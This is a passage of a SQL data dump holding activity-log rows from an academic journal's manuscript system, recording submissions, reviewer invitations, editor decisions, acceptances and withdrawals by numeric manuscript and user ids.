00:00:00','Editor has been Editor Decision Accepted article',7458,'Editor',1452),(73051,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7824,'Publisher',75),(73052,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7257,'Publisher',376),(73062,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6959,'Publisher',376),(73064,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7911,'Editor',1067),(73108,'0000-00-00 00:00:00','Publisher : Notified Author',7420,'Publisher',75),(73135,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7887,'Publisher',274),(73145,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7763,'Publisher',48),(73146,'0000-00-00 00:00:00','Reviewer has submitted comments',7763,'Reviewer',11689),(73147,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7763,'Editor',194),(73149,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7868,'Editor',194),(73150,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7868,'Editor',194),(73151,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7888,'Editor',194),(73152,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7888,'Editor',194),(73153,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7888,'Publisher',48),(73154,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7868,'Publisher',48),(73155,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7763,'Publisher',48),(73156,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7868,'Publisher',48),(73157,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7888,'Publisher',48),(73158,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7763,'Publisher',48),(73168,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7933,'Publisher',645),(73169,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7933,'Editor',634),(73170,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7933,'Editor',634),(73173,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7943,'Publisher',376),(73174,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7944,'Publisher',376),(73176,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7946,'Publisher',48),(73203,'0000-00-00 00:00:00','Reviewer has submitted comments',7700,'Reviewer',17216),(73204,'0000-00-00 00:00:00','Publisher : Notified Editor',7700,'Publisher',972),(73206,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7700,'Editor',1324),(73207,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7700,'Editor',1324),(73208,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7700,'Publisher',972),(73210,'0000-00-00 00:00:00','Manuscript has been Revised',7424,'Author',8683),(73271,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7458,'Publisher',376),(73273,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7931,'Publisher',248),(73276,'0000-00-00 00:00:00','Reviewer has submitted comments',7458,'Reviewer',17412),(73278,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(73279,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(73281,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7931,'Publisher',248),(73282,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7931,'Publisher',248),(73283,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7931,'Publisher',248),(73284,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7931,'Publisher',248),(73285,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7931,'Publisher',248),(73286,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7931,'Publisher',248),(73287,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7931,'Publisher',248),(73288,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7931,'Publisher',248),(73290,'0000-00-00 00:00:00','Reviewer has submitted comments',7356,'Reviewer',17412),(73292,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7356,'Editor',1452),(73293,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7356,'Editor',1452),(73294,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7458,'Editor',1452),(73296,'0000-00-00 00:00:00','Reviewer has submitted comments',7887,'Reviewer',12022),(73298,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7883,'Publisher',274),(73299,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7883,'Publisher',274),(73300,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7883,'Publisher',274),(73301,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7911,'Editor',1067),(73302,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7930,'Publisher',75),(73303,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7911,'Publisher',319),(73304,'0000-00-00 00:00:00','Publisher : Notified Editor',7424,'Publisher',984),(73306,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7871,'Publisher',75),(73307,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7871,'Publisher',75),(73308,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7871,'Publisher',75),(73309,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7871,'Publisher',75),(73329,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7969,'Author',9170),(73331,'0000-00-00 00:00:00','Reviewer has submitted comments',7883,'Reviewer',12022),(73361,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7946,'Publisher',48),(73365,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7946,'Publisher',48),(73366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7946,'Publisher',48),(73367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7946,'Publisher',48),(73368,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7946,'Publisher',48),(73369,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7946,'Publisher',48),(73371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7924,'Publisher',75),(73372,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7924,'Publisher',75),(73373,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7924,'Publisher',75),(73374,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7924,'Publisher',75),(73375,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7924,'Publisher',75),(73376,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7946,'Publisher',48),(73377,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7946,'Publisher',48),(73378,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7946,'Publisher',48),(73379,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7946,'Publisher',48),(73392,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7944,'Publisher',376),(73394,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7943,'Publisher',376),(73428,'0000-00-00 00:00:00','Publisher : Notified Editor',7559,'Publisher',75),(73430,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7702,'Editor',162),(73431,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7871,'Editor',162),(73432,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7926,'Editor',162),(73433,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7559,'Editor',162),(73456,'0000-00-00 00:00:00','Reviewer has submitted comments',7419,'Reviewer',11689),(73466,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7978,'Author',9180),(73467,'0000-00-00 00:00:00','Manuscript Submitted by Author',7979,'Author',6667),(73468,'0000-00-00 00:00:00','Manuscript Submitted by Author',7980,'Author',6667),(73472,'0000-00-00 00:00:00','Reviewer has submitted comments',7764,'Reviewer',15588),(73482,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7990,'Author',9188),(73484,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7992,'Publisher',48),(73543,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7969,'Publisher',248),(73544,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7993,'Publisher',319),(73546,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7419,'Publisher',48),(73556,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7929,'Publisher',84),(73566,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7537,'Publisher',84),(73631,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8000,'Publisher',75),(73632,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8001,'Publisher',75),(73659,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7980,'Publisher',48),(73660,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7979,'Publisher',48),(73674,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7806,'Publisher',48),(73682,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7993,'Publisher',319),(73686,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7946,'Editor',194),(73687,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7946,'Editor',194),(73688,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8008,'Publisher',319),(73698,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7992,'Publisher',48),(73699,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7990,'Publisher',48),(73700,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7992,'Publisher',48),(73701,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7992,'Publisher',48),(73702,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7990,'Publisher',48),(73703,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7990,'Publisher',48),(73704,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7990,'Publisher',48),(73705,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7978,'Publisher',673),(73719,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7993,'Editor',1067),(73720,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7897,'Publisher',85),(73721,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7897,'Publisher',85),(73722,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7897,'Publisher',85),(73723,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7897,'Publisher',85),(73724,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7897,'Publisher',85),(73725,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7897,'Publisher',85),(73726,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7897,'Publisher',85),(73727,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7897,'Publisher',85),(73728,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7897,'Publisher',85),(73729,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7897,'Publisher',85),(73730,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7897,'Publisher',85),(73731,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8012,'Author',9200),(73788,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8014,'Author',9202),(73790,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8015,'Author',9203),(73829,'0000-00-00 00:00:00','Manuscript Submitted by Author',8019,'Author',9202),(73838,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7905,'Publisher',85),(73839,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7905,'Publisher',85),(73840,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7905,'Publisher',85),(73841,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7905,'Publisher',85),(73842,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7905,'Publisher',85),(73843,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7905,'Publisher',85),(73844,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7905,'Publisher',85),(73845,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7905,'Publisher',85),(73846,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7905,'Publisher',85),(73847,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7905,'Publisher',85),(73850,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(73856,'0000-00-00 00:00:00','Reviewer has submitted comments',6973,'Reviewer',17074),(73871,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6973,'Editor',1456),(73872,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6973,'Publisher',673),(73874,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7926,'Publisher',75),(73875,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7926,'Publisher',75),(73877,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7926,'Publisher',75),(73878,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7926,'Publisher',75),(73880,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7930,'Publisher',75),(73881,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7930,'Publisher',75),(73882,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7930,'Publisher',75),(73888,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8008,'Publisher',319),(73899,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8008,'Editor',1067),(73900,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8008,'Editor',1067),(73901,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7993,'Editor',1067),(73902,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8008,'Editor',1067),(73903,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8008,'Publisher',319),(73904,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7993,'Publisher',319),(73908,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7424,'Editor',1342),(73909,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7424,'Publisher',984),(73910,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7424,'Publisher',984),(73926,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8012,'Publisher',48),(73927,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7669,'Publisher',85),(73928,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7669,'Publisher',85),(73996,'0000-00-00 00:00:00','Publisher : Notified Author',6964,'Publisher',85),(73997,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(73998,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(74045,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8041,'Publisher',984),(74091,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8043,'Author',9222),(74092,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6840,'Editor',1235),(74093,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6960,'Editor',1235),(74094,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6999,'Editor',1235),(74095,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7069,'Editor',1235),(74096,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6840,'Publisher',274),(74097,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6960,'Publisher',274),(74098,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6999,'Publisher',274),(74099,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7069,'Publisher',274),(74100,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6840,'Publisher',274),(74101,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6840,'Publisher',274),(74102,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7832,'Publisher',48),(74103,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6960,'Publisher',274),(74104,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6960,'Publisher',274),(74105,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6999,'Publisher',274),(74106,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7069,'Publisher',274),(74107,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7345,'Publisher',645),(74108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7345,'Publisher',645),(74109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7345,'Publisher',645),(74110,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7345,'Publisher',645),(74111,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7345,'Publisher',645),(74112,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7345,'Publisher',645),(74113,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7345,'Publisher',645),(74114,'0000-00-00 00:00:00','Reviewer has submitted comments',7345,'Reviewer',17489),(74115,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7345,'Editor',633),(74116,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7345,'Publisher',645),(74118,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8015,'Publisher',48),(74119,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8014,'Publisher',274),(74120,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8012,'Publisher',48),(74121,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8012,'Publisher',48),(74122,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8012,'Publisher',48),(74123,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8012,'Publisher',48),(74124,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8019,'Publisher',274),(74125,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8012,'Publisher',48),(74126,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8015,'Publisher',48),(74127,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8015,'Publisher',48),(74128,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7070,'Editor',1235),(74129,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7070,'Publisher',274),(74130,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7933,'Publisher',645),(74131,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7070,'Publisher',274),(74132,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7664,'Publisher',645),(74133,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7664,'Publisher',645),(74134,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7664,'Publisher',645),(74135,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7546,'Publisher',645),(74136,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7546,'Publisher',645),(74137,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7546,'Publisher',645),(74138,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7546,'Publisher',645),(74139,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7546,'Publisher',645),(74140,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7546,'Publisher',645),(74141,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7544,'Publisher',645),(74142,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7544,'Publisher',645),(74143,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7544,'Publisher',645),(74144,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7432,'Publisher',645),(74145,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7432,'Publisher',645),(74146,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7432,'Publisher',645),(74147,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7432,'Publisher',645),(74148,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7338,'Publisher',645),(74149,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7338,'Publisher',645),(74150,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7338,'Publisher',645),(74151,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7338,'Publisher',645),(74152,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7338,'Publisher',645),(74153,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7334,'Publisher',645),(74154,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7334,'Publisher',645),(74155,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7286,'Publisher',645),(74156,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7286,'Publisher',645),(74157,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7286,'Publisher',645),(74158,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7286,'Publisher',645),(74160,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7933,'Editor',634),(74162,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7664,'Editor',634),(74163,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7664,'Editor',634),(74164,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7546,'Editor',634),(74165,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7544,'Editor',634),(74166,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7135,'Editor',634),(74167,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7432,'Editor',634),(74168,'0000-00-00 00:00:00','Reviewer has updated comments',7104,'Reviewer',16050),(74169,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7338,'Editor',633),(74170,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7334,'Editor',633),(74171,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7286,'Editor',633),(74178,'0000-00-00 00:00:00','Reviewer has submitted comments',7933,'Reviewer',17489),(74179,'0000-00-00 00:00:00','Reviewer has updated comments',7933,'Reviewer',17489),(74181,'0000-00-00 00:00:00','Reviewer has submitted comments',7664,'Reviewer',17489),(74187,'0000-00-00 00:00:00','Reviewer has submitted comments',7544,'Reviewer',17489),(74188,'0000-00-00 00:00:00','Reviewer has submitted comments',7432,'Reviewer',17489),(74204,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7933,'Publisher',645),(74205,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7664,'Publisher',645),(74206,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7546,'Publisher',645),(74207,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7544,'Publisher',645),(74208,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7432,'Publisher',645),(74218,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7946,'Publisher',48),(74233,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8048,'Author',9224),(74235,'0000-00-00 00:00:00','Reviewer has submitted comments',7946,'Reviewer',5467),(74236,'0000-00-00 00:00:00','Reviewer has submitted comments',7946,'Reviewer',5467),(74237,'0000-00-00 00:00:00','Reviewer has updated comments',7946,'Reviewer',5467),(74274,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7946,'Editor',194),(74275,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7946,'Publisher',48),(74277,'0000-00-00 00:00:00','Publisher : Notified Author',7764,'Publisher',85),(74295,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7135,'Publisher',645),(74296,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7150,'Publisher',645),(74299,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7334,'Publisher',645),(74301,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7286,'Publisher',645),(74302,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7338,'Publisher',645),(74369,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8064,'Publisher',319),(74403,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7356,'Publisher',376),(74404,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7944,'Editor',1452),(74405,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7943,'Editor',1452),(74406,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7944,'Editor',1452),(74408,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7943,'Editor',1452),(74410,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7944,'Publisher',376),(74411,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7943,'Publisher',376),(74412,'0000-00-00 00:00:00','Reviewer has submitted comments',7778,'Reviewer',17383),(74413,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7778,'Editor',1410),(74414,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7778,'Editor',1410),(74421,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8048,'Publisher',48),(74422,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8048,'Publisher',48),(74423,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8048,'Publisher',48),(74424,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8048,'Publisher',48),(74425,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8048,'Publisher',48),(74426,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8048,'Publisher',48),(74427,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8048,'Publisher',48),(74428,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8015,'Publisher',48),(74429,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8015,'Publisher',48),(74430,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8012,'Publisher',48),(74431,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8012,'Publisher',48),(74432,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7990,'Publisher',48),(74433,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7990,'Publisher',48),(74434,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8068,'Author',9240),(74510,'0000-00-00 00:00:00','Reviewer has submitted comments',7422,'Reviewer',17209),(74511,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7422,'Editor',1367),(74512,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7422,'Editor',1367),(74513,'0000-00-00 00:00:00','Editor has been 2 article',7422,'Publisher',972),(74517,'0000-00-00 00:00:00','Reviewer has submitted comments',7729,'Reviewer',14071),(74518,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7729,'Editor',1310),(74519,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7729,'Editor',1310),(74520,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7729,'Editor',1310),(74521,'0000-00-00 00:00:00','Editor has been 2 article',7729,'Publisher',972),(74522,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7422,'Editor',1367),(74523,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7422,'Editor',1367),(74524,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7422,'Publisher',972),(74526,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(74527,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(74528,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(74534,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8043,'Publisher',75),(74535,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7441,'Publisher',75),(74536,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7442,'Publisher',75),(74566,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8041,'Publisher',984),(74569,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6825,'Publisher',75),(74570,'0000-00-00 00:00:00','Reviewer has submitted comments',6825,'Reviewer',11589),(74577,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74578,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74579,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74580,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74581,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74582,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74583,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74584,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74585,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74586,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74587,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74588,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74589,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74590,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74591,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74596,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8014,'Publisher',274),(74597,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8014,'Publisher',274),(74598,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8014,'Publisher',274),(74608,'0000-00-00 00:00:00','Reviewer has submitted comments',8014,'Reviewer',12022),(74620,'0000-00-00 00:00:00','Author sent Email',7594,'Author',3375),(74621,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8073,'Author',9247),(74624,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7905,'Publisher',85),(74628,'0000-00-00 00:00:00','Manuscript Submitted by Author',8074,'Author',9248),(74634,'0000-00-00 00:00:00','Manuscript Submitted by Author',8076,'Author',9247),(74639,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',7990,'Reviewer',17498),(74689,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7592,'Editor',1594),(74690,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7592,'Publisher',274),(74691,'0000-00-00 00:00:00','Publisher has been Accepted Articles  